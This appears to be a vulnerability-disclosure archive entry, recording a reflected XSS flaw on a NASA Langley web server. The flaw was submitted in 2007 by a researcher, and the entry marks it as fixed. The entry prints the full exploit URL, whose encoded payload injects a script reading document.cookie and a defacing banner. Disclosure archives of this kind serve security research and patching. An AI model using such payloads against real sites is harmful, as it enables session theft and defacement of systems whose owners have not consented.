www-angler.larc.nasa.gov cross-site-scripting (XSS) Vulnerability

Advertisements:

Security researcher BBc04, has submitted on 22/11/2007 a cross-site-scripting (XSS) vulnerability affecting www-angler.larc.nasa.gov, which at the time of submission ranked 884 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 29/11/2007. It is currently fixed.

Date submitted: 22/11/2007

Date published: 29/11/2007

Date fixed: 04/12/2007

Status:

FIXED

Author: BBc04

Domain: www-angler.larc.nasa.gov

Category: XSS

Pagerank: 884

URL: http://www-angler.larc.nasa.gov/cgi-bin/satimage/cloudProducts1.cgi?domain=%22%3E%3Cscript%3Ealert(d
ocument.cookie)%3C/script%3E%20%20%3E%3Cmarquee%3E%3Ch1%3Exss%20By%20BBc04%20FoR%20HRC++%3C/h1%3E%3C
/marquee%3E

Click here to view the mirror

XSS Attacks
Cross Site Scripting Exploits and Defense

Website Fraud Loss Prevention